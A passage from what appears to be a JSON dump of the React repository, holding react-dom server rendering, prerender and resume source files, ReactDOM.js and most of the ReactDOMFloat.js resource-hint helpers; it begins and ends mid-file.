onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,\n  unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,\n  importMap?: ImportMap,\n  onHeaders?: (headers: HeadersDescriptor) => void,\n  maxHeadersLength?: number,\n};\n\ntype StaticResult = {\n  postponed: null | PostponedState,\n  prelude: Readable,\n};\n\nfunction createFakeWritableFromReadableStreamController(\n  controller: ReadableStreamController,\n): Writable {\n  // The current host config expects a Writable so we create\n  // a fake writable for now to push into the Readable.\n  return ({\n    write(chunk: string | Uint8Array) {\n      if (typeof chunk === 'string') {\n        chunk = textEncoder.encode(chunk);\n      }\n      controller.enqueue(chunk);\n      // in web streams there is no backpressure so we can alwas write more\n      return true;\n    },\n    end() {\n      controller.close();\n    },\n    destroy(error) {\n      // $FlowFixMe[method-unbinding]\n      if (typeof controller.error === 'function') {\n        // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.\n        controller.error(error);\n      } else {\n        controller.close();\n      }\n    },\n  }: any);\n}\n\nfunction createFakeWritableFromReadable(readable: any): Writable {\n  // The current host config expects a Writable so we create\n  // a fake writable for now to push into the Readable.\n  return ({\n    write(chunk) {\n      return readable.push(chunk);\n    },\n    end() {\n      readable.push(null);\n    },\n    destroy(error) {\n      readable.destroy(error);\n    },\n  }: any);\n}\n\nfunction prerenderToNodeStream(\n  children: ReactNodeList,\n  options?: Options,\n): Promise<StaticResult> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n\n    function onAllReady() {\n      const readable: Readable = new Readable({\n        read() {\n          startFlowing(request, writable);\n        },\n      });\n      const writable = createFakeWritableFromReadable(readable);\n\n      const result: StaticResult = {\n        postponed: getPostponedState(request),\n        prelude: readable,\n      };\n      resolve(result);\n    }\n    const resumableState = createResumableState(\n      options ? options.identifierPrefix : undefined,\n      options ? options.unstable_externalRuntimeSrc : undefined,\n      options ? options.bootstrapScriptContent : undefined,\n      options ? options.bootstrapScripts : undefined,\n      options ? options.bootstrapModules : undefined,\n    );\n    const request = createPrerenderRequest(\n      children,\n      resumableState,\n      createRenderState(\n        resumableState,\n        undefined, // nonce is not compatible with prerendered bootstrap scripts\n        options ? options.unstable_externalRuntimeSrc : undefined,\n        options ? options.importMap : undefined,\n        options ? options.onHeaders : undefined,\n        options ? options.maxHeadersLength : undefined,\n      ),\n      createRootFormatContext(options ? options.namespaceURI : undefined),\n      options ? options.progressiveChunkSize : undefined,\n      options ? options.onError : undefined,\n      onAllReady,\n      undefined,\n      undefined,\n      onFatalError,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort(request, (signal: any).reason);\n      } else {\n        const listener = () => {\n          abort(request, (signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nfunction prerender(\n  children: ReactNodeList,\n  options?: Omit<Options, 'onHeaders'> & {\n    onHeaders?: (headers: Headers) => void,\n  },\n): Promise<{\n  postponed: null | PostponedState,\n  prelude: ReadableStream,\n}> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n\n    function onAllReady() {\n      let writable: Writable;\n      const stream = new ReadableStream(\n        {\n          type: 'bytes',\n          start: (controller): ?Promise<void> => {\n            writable =\n              createFakeWritableFromReadableStreamController(controller);\n          },\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, writable);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      );\n\n      const result = {\n        postponed: getPostponedState(request),\n        prelude: stream,\n      };\n      resolve(result);\n    }\n\n    const onHeaders = options ? options.onHeaders : undefined;\n    let onHeadersImpl;\n    if (onHeaders) {\n      onHeadersImpl = (headersDescriptor: HeadersDescriptor) => {\n        onHeaders(new Headers(headersDescriptor));\n      };\n    }\n    const resources = createResumableState(\n      options ? options.identifierPrefix : undefined,\n      options ? options.unstable_externalRuntimeSrc : undefined,\n      options ? options.bootstrapScriptContent : undefined,\n      options ? options.bootstrapScripts : undefined,\n      options ? options.bootstrapModules : undefined,\n    );\n    const request = createPrerenderRequest(\n      children,\n      resources,\n      createRenderState(\n        resources,\n        undefined, // nonce is not compatible with prerendered bootstrap scripts\n        options ? options.unstable_externalRuntimeSrc : undefined,\n        options ? options.importMap : undefined,\n        onHeadersImpl,\n        options ? options.maxHeadersLength : undefined,\n      ),\n      createRootFormatContext(options ? options.namespaceURI : undefined),\n      options ? options.progressiveChunkSize : undefined,\n      options ? options.onError : undefined,\n      onAllReady,\n      undefined,\n      undefined,\n      onFatalError,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort(request, (signal: any).reason);\n      } else {\n        const listener = () => {\n          abort(request, (signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\ntype ResumeOptions = {\n  nonce?: NonceOption,\n  signal?: AbortSignal,\n  onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,\n};\n\nfunction resumeAndPrerenderToNodeStream(\n  children: ReactNodeList,\n  postponedState: PostponedState,\n  options?: Omit<ResumeOptions, 'nonce'>,\n): Promise<StaticResult> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n\n    function onAllReady() {\n      const readable: Readable = new Readable({\n        read() {\n          startFlowing(request, writable);\n        },\n      });\n      const writable = createFakeWritableFromReadable(readable);\n\n      const result = {\n        postponed: getPostponedState(request),\n        prelude: readable,\n      };\n      resolve(result);\n    }\n    const request = resumeAndPrerenderRequest(\n      children,\n      postponedState,\n      resumeRenderState(postponedState.resumableState, undefined),\n      options ? options.onError : undefined,\n      onAllReady,\n      undefined,\n      undefined,\n      onFatalError,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort(request, (signal: any).reason);\n      } else {\n        const listener = () => {\n          abort(request, (signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nfunction resumeAndPrerender(\n  children: ReactNodeList,\n  postponedState: PostponedState,\n  options?: Omit<ResumeOptions, 'nonce'>,\n): Promise<{\n  postponed: null | PostponedState,\n  prelude: ReadableStream,\n}> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n\n    function onAllReady() {\n      let writable: Writable;\n      const stream = new ReadableStream(\n        {\n          type: 'bytes',\n          start: (controller): ?Promise<void> => {\n            writable =\n              createFakeWritableFromReadableStreamController(controller);\n          },\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, writable);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      );\n\n      const result = {\n        postponed: getPostponedState(request),\n        prelude: stream,\n      };\n      resolve(result);\n    }\n\n    const request = resumeAndPrerenderRequest(\n      children,\n      postponedState,\n      resumeRenderState(postponedState.resumableState, undefined),\n      options ? options.onError : undefined,\n      onAllReady,\n      undefined,\n      undefined,\n      onFatalError,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort(request, (signal: any).reason);\n      } else {\n        const listener = () => {\n          abort(request, (signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nexport {\n  prerender,\n  prerenderToNodeStream,\n  resumeAndPrerender,\n  resumeAndPrerenderToNodeStream,\n  ReactVersion as version,\n};\n"
  },
  {
    "path": "packages/react-dom/src/server/ReactDOMLegacyServerBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactNodeList} from 'shared/ReactTypes';\n\nimport {version, renderToStringImpl} from './ReactDOMLegacyServerImpl';\n\ntype ServerOptions = {\n  identifierPrefix?: string,\n};\n\nfunction renderToString(\n  children: ReactNodeList,\n  options?: ServerOptions,\n): string {\n  return renderToStringImpl(\n    children,\n    options,\n    false,\n    'The server used \"renderToString\" which does not support Suspense. If you intended for this Suspense boundary to render the fallback content on the server consider throwing an Error somewhere within the Suspense boundary. If you intended to have the server wait for the suspended component please switch to \"renderToReadableStream\" which supports Suspense on the server',\n  );\n}\n\nfunction renderToStaticMarkup(\n  children: ReactNodeList,\n  options?: ServerOptions,\n): string {\n  return renderToStringImpl(\n    children,\n    options,\n    true,\n    'The server used \"renderToStaticMarkup\" which does not support Suspense. If you intended to have the server wait for the suspended component please switch to \"renderToReadableStream\" which supports Suspense on the server',\n  );\n}\n\nexport {renderToString, renderToStaticMarkup, version};\n"
  },
  {
    "path": "packages/react-dom/src/server/ReactDOMLegacyServerImpl.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport ReactVersion from 'shared/ReactVersion';\n\nimport type {ReactNodeList} from 'shared/ReactTypes';\n\nimport {\n  createRequest,\n  startWork,\n  startFlowing,\n  abort,\n} from 'react-server/src/ReactFizzServer';\n\nimport {\n  createResumableState,\n  createRenderState,\n  createRootFormatContext,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOMLegacy';\n\ntype ServerOptions = {\n  identifierPrefix?: string,\n};\n\nfunction onError() {\n  // Non-fatal errors are ignored.\n}\n\nfunction renderToStringImpl(\n  children: ReactNodeList,\n  options: void | ServerOptions,\n  generateStaticMarkup: boolean,\n  abortReason: string,\n): string {\n  let didFatal = false;\n  let fatalError = null;\n  let result = '';\n  const destination = {\n    // $FlowFixMe[missing-local-annot]\n    push(chunk) {\n      if (chunk !== null) {\n        result += chunk;\n      }\n      return true;\n    },\n    // $FlowFixMe[missing-local-annot]\n    destroy(error) {\n      didFatal = true;\n      fatalError = error;\n    },\n  };\n\n  let readyToStream = false;\n  function onShellReady() {\n    readyToStream = true;\n  }\n  const resumableState = createResumableState(\n    options ? options.identifierPrefix : undefined,\n    undefined,\n  );\n  const request = createRequest(\n    children,\n    resumableState,\n    createRenderState(resumableState, generateStaticMarkup),\n    createRootFormatContext(),\n    Infinity,\n    onError,\n    undefined,\n    onShellReady,\n    undefined,\n    undefined,\n    undefined,\n  );\n  startWork(request);\n  // If anything suspended and is still pending, we'll abort it before writing.\n  // That way we write only client-rendered boundaries from the start.\n  abort(request, abortReason);\n  startFlowing(request, destination);\n  if (didFatal && fatalError !== abortReason) {\n    throw fatalError;\n  }\n\n  if (!readyToStream) {\n    // Note: This error message is the one we use on the client. It doesn't\n    // really make sense here. But this is the legacy server renderer, anyway.\n    // We're going to delete it soon.\n    throw new Error(\n      'A component suspended while responding to synchronous input. This ' +\n        'will cause the UI to be replaced with a loading indicator. To fix, ' +\n        'updates that suspend should be wrapped with startTransition.',\n    );\n  }\n\n  return result;\n}\n\nexport {renderToStringImpl, ReactVersion as version};\n"
  },
  {
    "path": "packages/react-dom/src/server/ReactDOMLegacyServerNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactNodeList} from 'shared/ReactTypes';\n\nimport {version, renderToStringImpl} from './ReactDOMLegacyServerImpl';\n\ntype ServerOptions = {\n  identifierPrefix?: string,\n};\n\nfunction renderToString(\n  children: ReactNodeList,\n  options?: ServerOptions,\n): string {\n  return renderToStringImpl(\n    children,\n    options,\n    false,\n    'The server used \"renderToString\" which does not support Suspense. If you intended for this Suspense boundary to render the fallback content on the server consider throwing an Error somewhere within the Suspense boundary. If you intended to have the server wait for the suspended component please switch to \"renderToPipeableStream\" which supports Suspense on the server',\n  );\n}\n\nfunction renderToStaticMarkup(\n  children: ReactNodeList,\n  options?: ServerOptions,\n): string {\n  return renderToStringImpl(\n    children,\n    options,\n    true,\n    'The server used \"renderToStaticMarkup\" which does not support Suspense. If you intended to have the server wait for the suspended component please switch to \"renderToPipeableStream\" which supports Suspense on the server',\n  );\n}\n\nexport {renderToString, renderToStaticMarkup, version};\n"
  },
  {
    "path": "packages/react-dom/src/server/react-dom-server.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ReactDOMFizzServerBrowser.js';\nexport {prerender, resumeAndPrerender} from './ReactDOMFizzStaticBrowser.js';\n"
  },
  {
    "path": "packages/react-dom/src/server/react-dom-server.browser.stable.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToReadableStream,\n  resume,\n  version,\n} from './ReactDOMFizzServerBrowser.js';\nexport {prerender, resumeAndPrerender} from './ReactDOMFizzStaticBrowser.js';\n"
  },
  {
    "path": "packages/react-dom/src/server/react-dom-server.bun.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ReactDOMFizzServerBun.js';\nexport {\n  renderToPipeableStream,\n  resumeToPipeableStream,\n  resume,\n} from './ReactDOMFizzServerNode.js';\nexport {\n  prerenderToNodeStream,\n  prerender,\n  resumeAndPrerenderToNodeStream,\n  resumeAndPrerender,\n} from './ReactDOMFizzStaticNode.js';\n"
  },
  {
    "path": "packages/react-dom/src/server/react-dom-server.bun.stable.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {renderToReadableStream, version} from './ReactDOMFizzServerBun.js';\nexport {\n  renderToPipeableStream,\n  resume,\n  resumeToPipeableStream,\n} from './ReactDOMFizzServerNode.js';\nexport {\n  prerenderToNodeStream,\n  prerender,\n  resumeAndPrerenderToNodeStream,\n  resumeAndPrerender,\n} from './ReactDOMFizzStaticNode.js';\n"
  },
  {
    "path": "packages/react-dom/src/server/react-dom-server.edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ReactDOMFizzServerEdge.js';\nexport {prerender, resumeAndPrerender} from './ReactDOMFizzStaticEdge.js';\n"
  },
  {
    "path": "packages/react-dom/src/server/react-dom-server.edge.stable.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToReadableStream,\n  resume,\n  version,\n} from './ReactDOMFizzServerEdge.js';\nexport {prerender, resumeAndPrerender} from './ReactDOMFizzStaticEdge.js';\n"
  },
  {
    "path": "packages/react-dom/src/server/react-dom-server.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ReactDOMFizzServerNode.js';\nexport {\n  prerenderToNodeStream,\n  prerender,\n  resumeAndPrerenderToNodeStream,\n  resumeAndPrerender,\n} from './ReactDOMFizzStaticNode.js';\n"
  },
  {
    "path": "packages/react-dom/src/server/react-dom-server.node.stable.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToPipeableStream,\n  renderToReadableStream,\n  resume,\n  resumeToPipeableStream,\n  version,\n} from './ReactDOMFizzServerNode.js';\nexport {\n  prerenderToNodeStream,\n  prerender,\n  resumeAndPrerender,\n  resumeAndPrerenderToNodeStream,\n} from './ReactDOMFizzStaticNode.js';\n"
  },
  {
    "path": "packages/react-dom/src/shared/ReactDOM.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactNodeList} from 'shared/ReactTypes';\n\nimport ReactVersion from 'shared/ReactVersion';\n\nimport {isValidContainer} from 'react-dom-bindings/src/client/ReactDOMContainer';\nimport {createPortal as createPortalImpl} from 'react-reconciler/src/ReactPortal';\nimport {flushSync} from './ReactDOMFlushSync';\n\nimport {\n  prefetchDNS,\n  preconnect,\n  preload,\n  preloadModule,\n  preinit,\n  preinitModule,\n} from './ReactDOMFloat';\nimport {\n  requestFormReset,\n  useFormStatus,\n  useFormState,\n} from 'react-dom-bindings/src/shared/ReactDOMFormActions';\n\nif (__DEV__) {\n  if (\n    typeof Map !== 'function' ||\n    // $FlowFixMe[prop-missing] Flow incorrectly thinks Map has no prototype\n    Map.prototype == null ||\n    typeof Map.prototype.forEach !== 'function' ||\n    typeof Set !== 'function' ||\n    // $FlowFixMe[prop-missing] Flow incorrectly thinks Set has no prototype\n    Set.prototype == null ||\n    typeof Set.prototype.clear !== 'function' ||\n    typeof Set.prototype.forEach !== 'function'\n  ) {\n    console.error(\n      'React depends on Map and Set built-in types. Make sure that you load a ' +\n        'polyfill in older browsers. https://reactjs.org/link/react-polyfills',\n    );\n  }\n}\n\nfunction batchedUpdates<A, R>(fn: (a: A) => R, a: A): R {\n  // batchedUpdates is now just a passthrough noop\n  return fn(a);\n}\n\nfunction createPortal(\n  children: ReactNodeList,\n  container: Element | DocumentFragment,\n  key: ?string = null,\n): React$Portal {\n  if (!isValidContainer(container)) {\n    throw new Error('Target container is not a DOM element.');\n  }\n\n  // TODO: pass ReactDOM portal implementation as third argument\n  // $FlowFixMe[incompatible-return] The Flow type is opaque but there's no way to actually create it.\n  return createPortalImpl(children, container, null, key);\n}\n\nexport {\n  ReactVersion as version,\n  createPortal,\n  flushSync,\n  batchedUpdates as unstable_batchedUpdates,\n  prefetchDNS,\n  preconnect,\n  preload,\n  preloadModule,\n  preinit,\n  preinitModule,\n  requestFormReset,\n  useFormStatus,\n  useFormState,\n};\n"
  },
  {
    "path": "packages/react-dom/src/shared/ReactDOMFloat.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport type {\n  PreconnectOptions,\n  PreloadOptions,\n  PreloadModuleOptions,\n  PreinitOptions,\n  PreinitModuleOptions,\n} from './ReactDOMTypes';\n\nimport ReactDOMSharedInternals from 'shared/ReactDOMSharedInternals';\n\nimport {\n  getCrossOriginString,\n  getCrossOriginStringAs,\n} from 'react-dom-bindings/src/shared/crossOriginStrings';\n\nexport function prefetchDNS(href: string) {\n  if (__DEV__) {\n    if (typeof href !== 'string' || !href) {\n      console.error(\n        'ReactDOM.prefetchDNS(): Expected the `href` argument (first) to be a non-empty string but encountered %s instead.',\n        getValueDescriptorExpectingObjectForWarning(href),\n      );\n    } else if (arguments.length > 1) {\n      const options = arguments[1];\n      if (\n        typeof options === 'object' &&\n        options.hasOwnProperty('crossOrigin')\n      ) {\n        console.error(\n          'ReactDOM.prefetchDNS(): Expected only one argument, `href`, but encountered %s as a second argument instead. This argument is reserved for future options and is currently disallowed. It looks like the you are attempting to set a crossOrigin property for this DNS lookup hint. Browsers do not perform DNS queries using CORS and setting this attribute on the resource hint has no effect. Try calling ReactDOM.prefetchDNS() with just a single string argument, `href`.',\n          getValueDescriptorExpectingEnumForWarning(options),\n        );\n      } else {\n        console.error(\n          'ReactDOM.prefetchDNS(): Expected only one argument, `href`, but encountered %s as a second argument instead. This argument is reserved for future options and is currently disallowed. Try calling ReactDOM.prefetchDNS() with just a single string argument, `href`.',\n          getValueDescriptorExpectingEnumForWarning(options),\n        );\n      }\n    }\n  }\n  if (typeof href === 'string') {\n    ReactDOMSharedInternals.d /* ReactDOMCurrentDispatcher */\n      .D(/* prefetchDNS */ href);\n  }\n  // We don't error because preconnect needs to be resilient to being called in a variety of scopes\n  // and the runtime may not be capable of responding. The function is optimistic and not critical\n  // so we favor silent bailout over warning or erroring.\n}\n\nexport function preconnect(href: string, options?: ?PreconnectOptions) {\n  if (__DEV__) {\n    if (typeof href !== 'string' || !href) {\n      console.error(\n        'ReactDOM.preconnect(): Expected the `href` argument (first) to be a non-empty string but encountered %s instead.',\n        getValueDescriptorExpectingObjectForWarning(href),\n      );\n    } else if (options != null && typeof options !== 'object') {\n      console.error(\n        'ReactDOM.preconnect(): Expected the `options` argument (second) to be an object but encountered %s instead. The only supported option at this time is `crossOrigin` which accepts a string.',\n        getValueDescriptorExpectingEnumForWarning(options),\n      );\n    } else if (options != null && typeof options.crossOrigin !== 'string') {\n      console.error(\n        'ReactDOM.preconnect(): Expected the `crossOrigin` option (second argument) to be a string but encountered %s instead. Try removing this option or passing a string value instead.',\n        getValueDescriptorExpectingObjectForWarning(options.crossOrigin),\n      );\n    }\n  }\n  if (typeof href === 'string') {\n    const crossOrigin = options\n      ? getCrossOriginString(options.crossOrigin)\n      : null;\n    ReactDOMSharedInternals.d /* ReactDOMCurrentDispatcher */\n      .C(/* preconnect */ href, crossOrigin);\n  }\n  // We don't error because preconnect needs to be resilient to being called in a variety of scopes\n  // and the runtime may not be capable of responding. The function is optimistic and not critical\n  // so we favor silent bailout over warning or erroring.\n}\n\nexport function preload(href: string, options: PreloadOptions) {\n  if (__DEV__) {\n    let encountered = '';\n    if (typeof href !== 'string' || !href) {\n      encountered += ` The \\`href\\` argument encountered was ${getValueDescriptorExpectingObjectForWarning(\n        href,\n      )}.`;\n    }\n    if (options == null || typeof options !== 'object') {\n      encountered += ` The \\`options\\` argument encountered was ${getValueDescriptorExpectingObjectForWarning(\n        options,\n      )}.`;\n    } else if (typeof options.as !== 'string' || !options.as) {\n      encountered += ` The \\`as\\` option encountered was ${getValueDescriptorExpectingObjectForWarning(\n        options.as,\n      )}.`;\n    }\n    if (encountered) {\n      console.error(\n        'ReactDOM.preload(): Expected two arguments, a non-empty `href` string and an `options` object with an `as` property valid for a `<link rel=\"preload\" as=\"...\" />` tag.%s',\n        encountered,\n      );\n    }\n  }\n  if (\n    typeof href === 'string' &&\n    // We check existence because we cannot enforce this function is actually called with the stated type\n    typeof options === 'object' &&\n    options !== null &&\n    typeof options.as === 'string'\n  ) {\n    const as = options.as;\n    const crossOrigin = getCrossOriginStringAs(as, options.crossOrigin);\n    ReactDOMSharedInternals.d /* ReactDOMCurrentDispatcher */\n      .L(/* preload */ href, as, {\n        crossOrigin,\n        integrity:\n          typeof options.integrity === 'string' ? options.integrity : undefined,\n        nonce: typeof options.nonce === 'string' ? options.nonce : undefined,\n        type: typeof options.type === 'string' ? options.type : undefined,\n        fetchPriority:\n          typeof options.fetchPriority === 'string'\n            ? options.fetchPriority\n            : undefined,\n        referrerPolicy:\n          typeof options.referrerPolicy === 'string'\n            ? options.referrerPolicy\n            : undefined,\n        imageSrcSet:\n          typeof options.imageSrcSet === 'string'\n            ? options.imageSrcSet\n            : undefined,\n        imageSizes:\n          typeof options.imageSizes === 'string'\n            ? options.imageSizes\n            : undefined,\n        media: typeof options.media === 'string' ? options.media : undefined,\n      });\n  }\n  // We don't error because preload needs to be resilient to being called in a variety of scopes\n  // and the runtime may not be capable of responding. The function is optimistic and not critical\n  // so we favor silent bailout over warning or erroring.\n}\n\nexport function preloadModule(href: string, options?: ?PreloadModuleOptions) {\n  if (__DEV__) {\n    let encountered = '';\n    if (typeof href !== 'string' || !href) {\n      encountered += ` The \\`href\\` argument encountered was ${getValueDescriptorExpectingObjectForWarning(\n        href,\n      )}.`;\n    }\n    if (options !== undefined && typeof options !== 'object') {\n      encountered += ` The \\`options\\` argument encountered was ${getValueDescriptorExpectingObjectForWarning(\n        options,\n      )}.`;\n    } else if (options && 'as' in options && typeof options.as !== 'string') {\n      encountered += ` The \\`as\\` option encountered was ${getValueDescriptorExpectingObjectForWarning(\n        options.as,\n      )}.`;\n    }\n    if (encountered) {\n      console.error(\n        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, an `options` object with an `as` property valid for a `<link rel=\"modulepreload\" as=\"...\" />` tag.%s',\n        encountered,\n      );\n    }\n  }\n  if (typeof href === 'string') {\n    if (options) {\n      const crossOrigin = getCrossOriginStringAs(\n        options.as,\n        options.crossOrigin,\n      );\n      ReactDOMSharedInternals.d /* ReactDOMCurrentDispatcher */\n        .m(/* preloadModule */ href, {\n          as:\n            typeof options.as === 'string' && options.as !== 'script'\n              ? options.as\n              : undefined,\n          crossOrigin,\n          integrity:\n            typeof options.integrity === 'string'\n              ? options.integrity\n              : undefined,\n        });\n    } else {\n      ReactDOMSharedInternals.d /* ReactDOMCurrentDispatcher */\n        .m(/* preloadModule */ href);\n    }\n  }\n  // We don't error because preload needs to be resilient to being called in a variety of scopes\n  // and the runtime may not be capable of responding. The function is optimistic and not critical\n  // so we favor silent bailout over warning or erroring.\n}\n\nexport function preinit(href: string, options: PreinitOptions) {\n  if (__DEV__) {\n    if (typeof href !== 'string' || !href) {\n      console.error(\n        'ReactDOM.preinit(): Expected the `href` argument (first) to be a non-empty string but encountered %s instead.',\n        getValueDescriptorExpectingObjectForWarning(href),\n      );\n    } else if (options == null || typeof options !== 'object') {\n      console.error(\n        'ReactDOM.preinit(): Expected the `options` argument (second) to be an object with an `as` property describing the type of resource to be preinitialized but encountered %s instead.',\n        getValueDescriptorExpectingEnumForWarning(options),\n      );\n    } else if (options.as !== 'style' && options.as !== 'script') {\n      console.error(\n        'ReactDOM.preinit(): Expected the `as` property in the `options` argument (second) to contain a valid value describing the type of resource to be preinitialized but encountered %s instead. Valid values for `as` are \"style\" and \"script\".',\n        getValueDescriptorExpectingEnumForWarning(options.as),\n      );\n    }\n  }\n  if (typeof href === 'string' && options && typeof options.as === 'string') {\n    const as = options.as;\n    const crossOrigin = getCrossOriginStringAs(as, options.crossOrigin);\n    const integrity =\n      typeof options.integrity === 'string' ? options.integrity : undefined;\n    const fetchPriority =\n      typeof options.fetchPriority === 'string'\n        ? options.fetchPriority\n        : undefined;\n    if (as === 'style') {\n      ReactDOMSharedInternals.d /* ReactDOMCurrentDispatcher */\n        .S(\n          /* preinitStyle */\n          href,\n          typeof options.precedence === 'string'\n            ? options.precedence\n            : undefined,\n          {\n            crossOrigin,\n            integrity,\n            fetchPriority,\n          },\n        );\n    } else if (as === 'script') {\n      ReactDOMSharedInternals.d /* ReactDOMCurrentDispatcher */\n        .X(/* preinitScript */ href, {\n          crossOrigin,\n          integrity,\n          fetchPriority,\n          nonce: typeof options.nonce === 'string' ? options.nonce : undefined,\n        });\n    }\n  }\n  // We don't error because preinit needs to be resilient to being called in a variety of scopes\n  // and the runtime may not be capable of responding. The function is optimistic and not critical\n  // so we favor silent bailout over warning or erroring.\n}\n\nexport function preinitModule(href: string, options?: ?PreinitModuleOptions) {\n  if (__DEV__) {\n    let encountered = '';\n    if (typeof href !== 'string' || !href) {\n      encountered += ` The \\`href\\` argument encountered was ${getValueDescriptorExpectingObjectForWarning(\n        href,\n      )}.`;\n    }\n    if (options !== undefined && typeof options !== 'object') {\n      encountered += ` The \\`options\\` argument encountered was ${getValueDescriptorExpectingObjectForWarning(\n        options,\n      )}.`;\n    } else if (options && 'as' in options && options.as !== 'script') {\n      encountered += ` The \\`as\\` option encountered was ${getValueDescriptorExpectingEnumForWarning(\n        options.as,\n      )}.`;\n    }\n    if (encountered) {\n      console.error(\n        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` string and, optionally, an `options` object with a valid `as` property.%s',\n        encountered,\n      );\n    } else {\n      const as =\n        options && typeof options.as === 'string' ? options.as : 'script';\n      switch (as) {\n        case 'script': {\n          break;\n        }\n\n        // We have an invalid as type and need to warn\n        default: {\n          const typeOfAs = getValueDescriptorExpectingEnumForWarning(as);\n          console.error(\n            'ReactDOM.preinitModule(): Currently the only supported \"as\" type for this function is \"script\"' +\n              ' but received \"%s\" instead. This warning was generated for `href` \"%s\". In the future other' +\n              ' module types will be supported, aligning with the import-attributes proposal. Learn more here:' +\n              ' (https://github.com/tc39/proposal-import-attributes)',\n            typeOfAs,\n            href,\n          );\n        }\n      }\n    }\n  }\n  if (typeof href === 'string') {\n    if (typeof options === 'object' && options !== null) {\n      if (options.as == null || options.as === 'script') {\n        const crossOrigin = getCrossOriginStringAs(\n          options.as,\n          options.crossOrigin,\n        );\n        ReactDOMSharedInternals.d /* ReactDOMCurrentDispatcher */\n          .M(/* preinitModuleScript */ href, {\n            crossOrigin,\n            integrity:\n              typeof options.integrity === 'string'\n                ? options.integrity\n                : undefined,\n            nonce:\n              typeof options.nonce === 'string' ? options.nonce : undefined,\n          });\n      }\n    } else if (options == null) {\n      ReactDOMSharedInternals.d /* ReactDOMCurrentDispatcher */\n        .M(/* preinitModuleScript */ href);\n    }\n  }\n  // We don't error because preinit needs to be resilient to being called in a variety of scopes\n  // and the runtime may not be capable of responding. The function is optimistic and not critical\n  // so we favor silent bailout over warning or erroring.\n}\n\nfunction getValueDescriptorExpectingObjectForWarning(thing: any): string {\n  return thing === null\n    ? '`null`'\n    : thing === undefined\n      ? '`undefined`'\n      : thing === ''\n        ? 'an empty string'\n        : `something with type \"${typeof thing}\"`;\n}\n\nfunction 